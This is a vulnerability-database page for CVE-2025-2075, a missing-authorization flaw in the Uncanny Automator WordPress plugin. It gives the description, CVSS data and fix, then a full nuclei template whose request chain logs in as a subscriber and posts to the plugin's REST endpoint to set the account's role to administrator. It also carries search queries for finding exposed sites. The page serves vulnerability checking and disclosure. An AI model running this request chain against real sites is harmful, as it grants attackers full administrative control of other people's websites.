HexBrain

Browse / CVEs / CVE-2025-2075

CVE-2025-2075· CWE-862

Uncanny Automator <= 6.3.0.2 - Missing Authorization to Authenticated (Subscriber+) Privilege Escalation

highseverity
8.8CVSS score
2.8%likelihood of exploitation, next 30 days
86%of all CVEs are less likely
Readycheck to confirm it

The Uncanny Automator - Easy Automation, Integration, Webhooks & Workflow Builder Plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 6.3.0.2. This is due to add_role() and user_role() functions missing proper capability checks performed through the validate_rest_call() function. This makes it possible for unauthenticated attackers to set the role of arbitrary users to administrator granting full access to the site, though privilege escalation requires an active account on the site so this is considered an authenticated privilege escalation.

Impact

Authenticated attackers with subscriber-level access can escalate their privileges to administrator through missing capability checks, gaining full control over the WordPress site.

Fix

Update to version 6.4.0 or later to remediate this vulnerability.

How to confirm it

Send: POST /wp-login.php
Positive when: contains in header "/wp-admin" and "wordpress_logged_in" AND status 302
Send: GET /wp-admin/profile.php
Send: POST /wp-json/uap/v2/async_action/
Positive when: status 200
Send: GET /wp-admin/users.php?role=administrator
Positive when: contains "Howdy," and ">Select {{username}}<"

Run it with nuclei: nuclei -id CVE-2025-2075 -u <target>

The full check
id: CVE-2025-2075

info:
  name: Uncanny Automator <= 6.3.0.2 - Missing Authorization to Authenticated (Subscriber+) Privilege Escalation
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    The Uncanny Automator - Easy Automation, Integration, Webhooks & Workflow Builder Plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 6.3.0.2. This is due to add_role() and user_role() functions missing proper capability checks performed through the validate_rest_call() function. This makes it possible for unauthenticated attackers to set the role of arbitrary users to administrator granting full access to the site, though privilege escalation requires an active account on the site so this is considered an authenticated privilege escalation.
  impact: |
    Authenticated attackers with subscriber-level access can escalate their privileges to administrator through missing capability checks, gaining full control over the WordPress site.
  remediation: |
    Update to version 6.4.0 or later to remediate this vulnerability.
  reference:
    - https://www.wordfence.com/blog/2025/04/50000-wordpress-sites-affected-by-privilege-escalation-vulnerability-in-uncanny-automator-wordpress-plugin/
    - https://plugins.trac.wordpress.org/changeset/3257300/uncanny-automator/trunk/src/core/classes/class-background-actions.php
    - https://plugins.trac.wordpress.org/changeset/3265280/uncanny-automator/trunk/src/core/classes/class-background-actions.php
    - https://nvd.nist.gov/vuln/detail/CVE-2025-2075
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2025-2075
    cwe-id: CWE-862
    epss-score: 0.02755
    epss-percentile: 0.86358
  metadata:
    verified: true
    max-request: 4
    publicwww-query: "/wp-content/plugins/uncanny-automator/"
    fofa-query: body="/wp-content/plugins/uncanny-automator/"
  tags: cve,cve2025,wordpress,wp-plugin,authenticated,wp,uncanny-automator,vuln,vkev

variables:
  username: "{{username}}"
  password: "{{password}}"

http:

  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - '/wp-admin'
          - 'wordpress_logged_in'
        condition: and
        internal: true

      - type: status
        status:
          - 302
        internal: true

  - raw:
      - |
        GET /wp-admin/profile.php HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        part: body
        internal: true
        name: user_id
        group: 1
        regex:
          - 'var userSettings.*"uid":"([0-9]+)"'

  - raw:
      - |
        POST /wp-json/uap/v2/async_action/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        user_id={{user_id}}&action_data%5Bmeta%5D%5Bintegration%5D=aa&action_data%5Bmeta%5D%5Bcode%5D=USERROLE&action_data%5Bmeta%5D%5BWPROLE%5D=administrator&recipe_id=&args=&action_data%5BID%5D=

    matchers:
      - type: status
        status:
          - 200
        internal: true

  - raw:
      - |
        GET /wp-admin/users.php?role=administrator HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - 'Howdy,'
          - '>Select {{username}}<'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from